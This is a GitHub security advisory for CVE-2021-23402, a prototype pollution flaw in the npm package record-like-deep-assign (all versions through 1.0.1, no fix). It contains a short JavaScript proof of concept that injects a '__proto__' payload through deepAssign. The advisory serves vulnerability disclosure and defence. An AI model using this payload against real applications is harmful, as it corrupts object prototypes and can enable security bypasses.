ADVISORIES

GitHub Advisory Database

GHSA-7qm6-9v49-38m9

Prototype Pollution in record-like-deep-assign

High No fix available CVE-2021-23402

Details

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

Affected packages

EcosystemPackageAffected versions
npmrecord-like-deep-assign
All versions up to and including 1.0.1

References